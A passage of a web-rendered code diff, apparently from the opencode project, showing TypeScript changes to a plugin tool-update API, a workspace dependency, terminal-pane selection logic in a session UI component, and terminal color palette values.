draft.update(id, (tool) => {
const execute = tool.execute
const value: Info = {
...tool,
execute: (input, context) =>
run(
execute(input, {
...context,
progress: (update) => Effect.promise(() => context.progress(update)),
}),
),
}
update(value)
Object.assign(tool, {
...value,
execute: (input: unknown, context: Tool.Context) => executePromiseTool(value, input, context),
})
}),
remove: (id) => draft.remove(id),
add: (tool: Info) =>
draft.add({
...tool,
+5 -1
View File
@@ -5,7 +5,7 @@ import { Tool } from "@opencode-ai/schema/tool"
import type { Agent } from "@opencode-ai/schema/agent"
import type { Session } from "@opencode-ai/schema/session"
import type { SessionMessage } from "@opencode-ai/schema/session-message"
import type { JsonSchema } from "effect"
import type { JsonSchema, Types } from "effect"
import type { Hooks, Transform } from "./registration.js"
export interface ToolContext extends Omit<Tool.Context, "progress"> {
@@ -26,6 +26,9 @@ interface ToolDraft {
add<Input extends Tool.ValueSchema<any>, Output extends Tool.ValueSchema<any> | undefined>(
tool: Info<Input, Output>,
): void
/** Updates an existing tool; missing IDs are ignored. */
update(id: string, update: (tool: Types.Mutable<Info>) => void): void
remove(id: string): void
}
interface ToolHooks {
@@ -59,5 +62,6 @@ interface ToolHooks {
export interface ToolDomain {
readonly transform: Transform<ToolDraft>
readonly reload: () => Promise<void>
readonly hook: Hooks<ToolHooks>
}
+1
View File
@@ -78,6 +78,7 @@
"dependencies": {
"@opencode-ai/client": "workspace:*",
"@opencode-ai/core": "workspace:*",
"@opencode-ai/latex": "workspace:*",
"@opencode-ai/merman": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/schema": "workspace:*",
+9 -11
View File
@@ -29,12 +29,10 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
(sessionID) => sessions.refresh(sessionID).catch(() => undefined),
)
const session = () => sessions.get(props.sessionID)
const terminals = () => session()?.terminals ?? []
const selectedTerminal = () => {
if (!config.data.session.terminal) return
const value = session()
if (value?.hidden) return
return value?.terminals.find((terminal) => terminal.id === value.selectedTerminalID) ?? value?.terminals.at(-1)
return value.terminals.find((terminal) => terminal.id === value.selectedTerminalID)
}
createEffect(
on(
@@ -54,7 +52,7 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
const rightPane = createMemo(() => {
if (sidebarOpen() && sidebarVisible()) return "sidebar"
if (selectedTerminal()) return "terminal"
if (sidebarVisible() && !session()?.hidden) return "sidebar"
if (sidebarVisible()) return "sidebar"
})
const toggleSidebar = () => {
batch(() => {
@@ -65,11 +63,11 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
})
.catch(toast.error)
setSidebarOpen(!visible)
if (!visible && selectedTerminal()) void sessions.hideTerminal(props.sessionID).catch(toast.error)
if (!visible && selectedTerminal()) void sessions.selectTerminal(props.sessionID, null).catch(toast.error)
})
}
createEffect(() => {
if (!restoreTerminalFocus() || terminals().length > 0) return
if (!restoreTerminalFocus() || selectedTerminal()) return
setRestoreTerminalFocus(false)
prompt.current?.focus()
})
@@ -139,13 +137,13 @@ export function SessionFrame(props: { sessionID: string; verticalTabsWidth: numb
<Show
when={rightPane() === "sidebar"}
fallback={
<Show keyed when={selectedTerminal()}>
{(terminal) => (
<Show keyed when={selectedTerminal()?.id}>
{(ptyID) => (
<TerminalPane
ptyID={terminal.id}
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(terminal.id)}
ptyID={ptyID}
autoFocus={restoreTerminalFocus() || sessions.shouldFocus(ptyID)}
onAutoFocus={() => {
sessions.clearFocus(terminal.id)
sessions.clearFocus(ptyID)
setRestoreTerminalFocus(false)
}}
onFocusChange={setTerminalFocused}
+2 -2
View File
@@ -330,8 +330,8 @@ function sameSize(first: TerminalSize | undefined, second: TerminalSize | undefi
}
function terminalPalette(theme: ResolvedThemeTokens, mode: "dark" | "light", background: RGBA) {
const base = mode === "dark" ? 500 : 700
const bright = mode === "dark" ? 300 : 500
const base = mode === "dark" ? 200 : 800
const bright = mode === "dark" ? 100 : 900
const colors = [
background,
theme.text.feedback.error.default,

Some files were not shown because too many files have changed in this diff Show More